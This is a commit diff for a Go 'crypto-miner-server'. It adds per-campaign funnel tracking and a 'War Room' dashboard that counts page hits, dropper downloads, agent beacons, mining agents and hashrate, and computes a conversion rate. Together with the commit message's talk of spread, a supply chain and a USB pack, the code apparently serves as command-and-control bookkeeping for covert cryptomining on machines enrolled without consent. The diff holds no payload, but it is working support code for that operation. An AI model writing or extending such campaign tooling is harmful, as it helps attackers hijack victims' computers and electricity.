feat: alive UI wave, galaxy presence, spread and fleet enhancements
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
This commit is contained in:
@@ -2,25 +2,73 @@ package db
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"math"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
// LogCampaignHit records a dropper or public-download fetch with optional campaign tag.
|
||||
func (d *Database) LogCampaignHit(campaign, buildID, source, ip, userAgent string) error {
|
||||
const (
|
||||
CampaignEventPageHit = "page_hit"
|
||||
CampaignEventDownload = "download"
|
||||
CampaignEventAgentConnect = "agent_connect"
|
||||
)
|
||||
|
||||
// LogCampaignEvent records a funnel event (page_hit, download, agent_connect) for a campaign slug.
|
||||
func (d *Database) LogCampaignEvent(campaign, buildID, eventType, source, ip, userAgent string) error {
|
||||
campaign = sanitizeCampaign(campaign)
|
||||
if campaign == "" {
|
||||
return nil
|
||||
}
|
||||
if eventType == "" {
|
||||
eventType = inferCampaignEventType(source)
|
||||
}
|
||||
_, err := d.Exec(
|
||||
`INSERT INTO campaign_hits (campaign, build_id, source, ip, user_agent, created_at) VALUES (?, ?, ?, ?, ?, ?)`,
|
||||
campaign, buildID, source, ip, userAgent, time.Now(),
|
||||
`INSERT INTO campaign_hits (campaign, build_id, source, event_type, ip, user_agent, created_at) VALUES (?, ?, ?, ?, ?, ?, ?)`,
|
||||
campaign, buildID, source, eventType, ip, userAgent, time.Now(),
|
||||
)
|
||||
return err
|
||||
}
|
||||
|
||||
// LogCampaignHit records a dropper or public-download fetch with optional campaign tag.
|
||||
func (d *Database) LogCampaignHit(campaign, buildID, source, ip, userAgent string) error {
|
||||
return d.LogCampaignEvent(campaign, buildID, inferCampaignEventType(source), source, ip, userAgent)
|
||||
}
|
||||
|
||||
func inferCampaignEventType(source string) string {
|
||||
switch source {
|
||||
case "get", "public_download":
|
||||
return CampaignEventDownload
|
||||
case "ws_auth", "agent_connect":
|
||||
return CampaignEventAgentConnect
|
||||
case "install.sh", "install.ps1", "install.command":
|
||||
return CampaignEventPageHit
|
||||
default:
|
||||
return CampaignEventPageHit
|
||||
}
|
||||
}
|
||||
|
||||
func effectiveEventType(stored, source string) string {
|
||||
if stored != "" {
|
||||
return stored
|
||||
}
|
||||
return inferCampaignEventType(source)
|
||||
}
|
||||
|
||||
func appendUniquePin(pins []string, buildID string) []string {
|
||||
buildID = strings.TrimSpace(buildID)
|
||||
if buildID == "" {
|
||||
return pins
|
||||
}
|
||||
for _, p := range pins {
|
||||
if p == buildID {
|
||||
return pins
|
||||
}
|
||||
}
|
||||
return append(pins, buildID)
|
||||
}
|
||||
|
||||
func sanitizeCampaign(c string) string {
|
||||
c = strings.TrimSpace(c)
|
||||
if len(c) > 64 {
|
||||
@@ -76,6 +124,244 @@ func (d *Database) ListCampaignHits(limit int) ([]CampaignHitSummary, error) {
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// WarRoomCampaign is per-slug funnel stats for the Emberwake War Room dashboard.
|
||||
type WarRoomCampaign struct {
|
||||
Campaign string `json:"campaign"`
|
||||
Hits int `json:"hits"`
|
||||
Downloads int `json:"downloads"`
|
||||
FirstBeacon int `json:"first_beacon"`
|
||||
Mining int `json:"mining"`
|
||||
Agents int `json:"agents"`
|
||||
Online int `json:"online"`
|
||||
Hashrate float64 `json:"hashrate"`
|
||||
ConversionPct float64 `json:"conversion_pct"`
|
||||
DailyHits []int `json:"daily_hits"`
|
||||
LastActivity string `json:"last_activity,omitempty"`
|
||||
Pins []string `json:"pins,omitempty"`
|
||||
}
|
||||
|
||||
// WarRoomResponse aggregates funnel stats across campaigns for a date window.
|
||||
type WarRoomResponse struct {
|
||||
GeneratedAt string `json:"generated_at"`
|
||||
Days int `json:"days"`
|
||||
Campaigns []WarRoomCampaign `json:"campaigns"`
|
||||
}
|
||||
|
||||
// ListWarRoom returns funnel stats per campaign for the last N days.
|
||||
func (d *Database) ListWarRoom(days int) (*WarRoomResponse, error) {
|
||||
if days <= 0 || days > 90 {
|
||||
days = 7
|
||||
}
|
||||
since := time.Now().AddDate(0, 0, -days)
|
||||
dayKeys := make([]string, days)
|
||||
dayIndex := map[string]int{}
|
||||
for i := 0; i < days; i++ {
|
||||
day := since.AddDate(0, 0, i).Format("2006-01-02")
|
||||
dayKeys[i] = day
|
||||
dayIndex[day] = i
|
||||
}
|
||||
|
||||
byCampaign := map[string]*WarRoomCampaign{}
|
||||
|
||||
addCampaign := func(slug string) *WarRoomCampaign {
|
||||
if c, ok := byCampaign[slug]; ok {
|
||||
return c
|
||||
}
|
||||
c := &WarRoomCampaign{
|
||||
Campaign: slug,
|
||||
DailyHits: make([]int, days),
|
||||
}
|
||||
byCampaign[slug] = c
|
||||
return c
|
||||
}
|
||||
|
||||
rows, err := d.Query(`
|
||||
SELECT campaign, COALESCE(event_type, ''), source, COUNT(*) AS cnt
|
||||
FROM campaign_hits
|
||||
WHERE created_at >= ? AND campaign != ''
|
||||
GROUP BY campaign, COALESCE(event_type, ''), source`, since)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for rows.Next() {
|
||||
var slug, eventType, source string
|
||||
var cnt int
|
||||
if err := rows.Scan(&slug, &eventType, &source, &cnt); err != nil {
|
||||
rows.Close()
|
||||
return nil, err
|
||||
}
|
||||
c := addCampaign(slug)
|
||||
switch effectiveEventType(eventType, source) {
|
||||
case CampaignEventDownload:
|
||||
c.Downloads += cnt
|
||||
case CampaignEventAgentConnect:
|
||||
// agent_connect rows are funnel signals; agent counts come from agents table
|
||||
default:
|
||||
c.Hits += cnt
|
||||
}
|
||||
}
|
||||
rows.Close()
|
||||
|
||||
dailyRows, err := d.Query(`
|
||||
SELECT campaign, created_at, COALESCE(event_type, ''), source
|
||||
FROM campaign_hits
|
||||
WHERE created_at >= ? AND campaign != ''`, since)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for dailyRows.Next() {
|
||||
var slug, createdRaw, eventType, source string
|
||||
if err := dailyRows.Scan(&slug, &createdRaw, &eventType, &source); err != nil {
|
||||
dailyRows.Close()
|
||||
return nil, err
|
||||
}
|
||||
if effectiveEventType(eventType, source) != CampaignEventPageHit {
|
||||
continue
|
||||
}
|
||||
day := campaignHitDay(createdRaw)
|
||||
if idx, ok := dayIndex[day]; ok {
|
||||
c := addCampaign(slug)
|
||||
c.DailyHits[idx]++
|
||||
}
|
||||
}
|
||||
dailyRows.Close()
|
||||
|
||||
agentRows, err := d.Query(`
|
||||
SELECT campaign,
|
||||
COUNT(*) AS agents,
|
||||
SUM(CASE WHEN status = 'online' THEN 1 ELSE 0 END) AS online,
|
||||
COALESCE(SUM(CASE WHEN status = 'online' THEN hashrate_15m ELSE 0 END), 0) AS hashrate,
|
||||
SUM(CASE WHEN hashrate_15m > 0 OR gpu_hashrate_15m > 0 THEN 1 ELSE 0 END) AS mining
|
||||
FROM agents
|
||||
WHERE campaign != ''
|
||||
GROUP BY campaign`)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for agentRows.Next() {
|
||||
var slug string
|
||||
var agents, online, mining int
|
||||
var hashrate float64
|
||||
if err := agentRows.Scan(&slug, &agents, &online, &hashrate, &mining); err != nil {
|
||||
agentRows.Close()
|
||||
return nil, err
|
||||
}
|
||||
c := addCampaign(slug)
|
||||
c.Agents = agents
|
||||
c.FirstBeacon = agents
|
||||
c.Mining = mining
|
||||
c.Online = online
|
||||
c.Hashrate = hashrate
|
||||
}
|
||||
agentRows.Close()
|
||||
|
||||
lastRows, err := d.Query(`
|
||||
SELECT campaign, MAX(created_at) AS last_hit
|
||||
FROM campaign_hits
|
||||
WHERE campaign != ''
|
||||
GROUP BY campaign`)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for lastRows.Next() {
|
||||
var slug, lastRaw string
|
||||
if err := lastRows.Scan(&slug, &lastRaw); err != nil {
|
||||
lastRows.Close()
|
||||
return nil, err
|
||||
}
|
||||
c := addCampaign(slug)
|
||||
c.LastActivity = formatCampaignTime(lastRaw)
|
||||
}
|
||||
lastRows.Close()
|
||||
|
||||
pinRows, err := d.Query(`
|
||||
SELECT DISTINCT campaign, build_id
|
||||
FROM campaign_hits
|
||||
WHERE campaign != '' AND build_id != ''`)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for pinRows.Next() {
|
||||
var slug, buildID string
|
||||
if err := pinRows.Scan(&slug, &buildID); err != nil {
|
||||
pinRows.Close()
|
||||
return nil, err
|
||||
}
|
||||
c := addCampaign(slug)
|
||||
c.Pins = appendUniquePin(c.Pins, buildID)
|
||||
}
|
||||
pinRows.Close()
|
||||
|
||||
agentPinRows, err := d.Query(`
|
||||
SELECT DISTINCT campaign, build_id
|
||||
FROM agents
|
||||
WHERE campaign != '' AND build_id != ''`)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for agentPinRows.Next() {
|
||||
var slug, buildID string
|
||||
if err := agentPinRows.Scan(&slug, &buildID); err != nil {
|
||||
agentPinRows.Close()
|
||||
return nil, err
|
||||
}
|
||||
c := addCampaign(slug)
|
||||
c.Pins = appendUniquePin(c.Pins, buildID)
|
||||
}
|
||||
agentPinRows.Close()
|
||||
|
||||
out := make([]WarRoomCampaign, 0, len(byCampaign))
|
||||
for _, c := range byCampaign {
|
||||
if c.Hits > 0 {
|
||||
c.ConversionPct = math.Round((float64(c.Agents)/float64(c.Hits))*1000) / 10
|
||||
}
|
||||
out = append(out, *c)
|
||||
}
|
||||
// Sort by hits desc, then agents desc
|
||||
for i := 0; i < len(out); i++ {
|
||||
for j := i + 1; j < len(out); j++ {
|
||||
if out[j].Hits > out[i].Hits || (out[j].Hits == out[i].Hits && out[j].Agents > out[i].Agents) {
|
||||
out[i], out[j] = out[j], out[i]
|
||||
}
|
||||
}
|
||||
}
|
||||
if out == nil {
|
||||
out = []WarRoomCampaign{}
|
||||
}
|
||||
return &WarRoomResponse{
|
||||
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
|
||||
Days: days,
|
||||
Campaigns: out,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func campaignHitDay(raw string) string {
|
||||
for _, layout := range []string{
|
||||
time.RFC3339,
|
||||
"2006-01-02 15:04:05-07:00",
|
||||
"2006-01-02 15:04:05",
|
||||
"2006-01-02",
|
||||
} {
|
||||
if t, err := time.Parse(layout, raw); err == nil {
|
||||
return t.Format("2006-01-02")
|
||||
}
|
||||
}
|
||||
if len(raw) >= 10 {
|
||||
return raw[:10]
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func formatCampaignTime(raw string) string {
|
||||
if t, err := time.Parse("2006-01-02 15:04:05-07:00", raw); err == nil {
|
||||
return t.Format(time.RFC3339)
|
||||
}
|
||||
if t, err := time.Parse(time.RFC3339, raw); err == nil {
|
||||
return t.Format(time.RFC3339)
|
||||
}
|
||||
return raw
|
||||
}
|
||||
|
||||
// ListPublicBuilds returns builds eligible for unauthenticated download.
|
||||
// When allEnabled, every build is returned; otherwise pinned + public-flagged + latest N.
|
||||
func (d *Database) ListPublicBuilds(allEnabled bool, latestN int) ([]*models.BuildRecord, error) {
|
||||
|
||||
@@ -9,16 +9,53 @@ import (
|
||||
|
||||
func TestLogCampaignHitAndPublicBuilds(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
defer d.Close()
|
||||
|
||||
if err := d.LogCampaignHit("wave-a", "b1", "get", "10.0.0.1", "curl"); err != nil {
|
||||
if err := d.LogCampaignEvent("wave-a", "b1", CampaignEventPageHit, "install.sh", "10.0.0.1", "curl"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := d.LogCampaignEvent("wave-a", "b1", CampaignEventDownload, "get", "10.0.0.2", "curl"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
hits, err := d.ListCampaignHits(10)
|
||||
if err != nil || len(hits) != 1 || hits[0].Campaign != "wave-a" {
|
||||
if err != nil || len(hits) != 1 || hits[0].Campaign != "wave-a" || hits[0].Count != 2 {
|
||||
t.Fatalf("hits=%v err=%v", hits, err)
|
||||
}
|
||||
|
||||
war, err := d.ListWarRoom(7)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(war.Campaigns) != 1 {
|
||||
t.Fatalf("war room campaigns=%v", war.Campaigns)
|
||||
}
|
||||
c := war.Campaigns[0]
|
||||
if c.Hits != 1 || c.Downloads != 1 {
|
||||
t.Fatalf("funnel hits=%d downloads=%d", c.Hits, c.Downloads)
|
||||
}
|
||||
|
||||
a := &models.Agent{
|
||||
ID: "ag-1", Name: "w1", Wallet: "w", IP: "10.0.0.3", Version: "1",
|
||||
Status: "online", CPUCores: 4, MemoryGB: 8, LastSeen: time.Now(),
|
||||
Campaign: "wave-a", Hashrate15m: 1200,
|
||||
}
|
||||
if err := d.UpsertAgent(a); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
_ = d.UpdateAgentStats("ag-1", 0, 0, 1200, 0, 0, 0, 0, 0, 0)
|
||||
|
||||
war, err = d.ListWarRoom(7)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
c = war.Campaigns[0]
|
||||
if c.Agents != 1 || c.FirstBeacon != 1 || c.Mining != 1 || c.Online != 1 || c.Hashrate != 1200 {
|
||||
t.Fatalf("agents=%d beacon=%d mining=%d online=%d hashrate=%v",
|
||||
c.Agents, c.FirstBeacon, c.Mining, c.Online, c.Hashrate)
|
||||
}
|
||||
if c.ConversionPct != 100 {
|
||||
t.Fatalf("conversion=%v want 100", c.ConversionPct)
|
||||
}
|
||||
|
||||
b1 := &models.BuildRecord{
|
||||
ID: "b1", WorkerName: "w1", ServerURL: "http://x", Wallet: "w",
|
||||
Threads: 1, Platform: "linux", CreatedAt: time.Now(),
|
||||
|
||||
@@ -171,18 +171,21 @@ func (d *Database) migrate() error {
|
||||
campaign TEXT NOT NULL DEFAULT '',
|
||||
build_id TEXT NOT NULL DEFAULT '',
|
||||
source TEXT NOT NULL DEFAULT '',
|
||||
event_type TEXT NOT NULL DEFAULT '',
|
||||
ip TEXT NOT NULL DEFAULT '',
|
||||
user_agent TEXT NOT NULL DEFAULT '',
|
||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_campaign_hits_campaign ON campaign_hits(campaign)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_campaign_hits_created ON campaign_hits(created_at)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_campaign_hits_event ON campaign_hits(event_type)`,
|
||||
}
|
||||
for _, m := range extraMigrations {
|
||||
if _, err := d.Exec(m); err != nil {
|
||||
return fmt.Errorf("migration failed: %w\nSQL: %s", err, m)
|
||||
}
|
||||
}
|
||||
_, _ = d.Exec(`ALTER TABLE campaign_hits ADD COLUMN event_type TEXT NOT NULL DEFAULT ''`)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user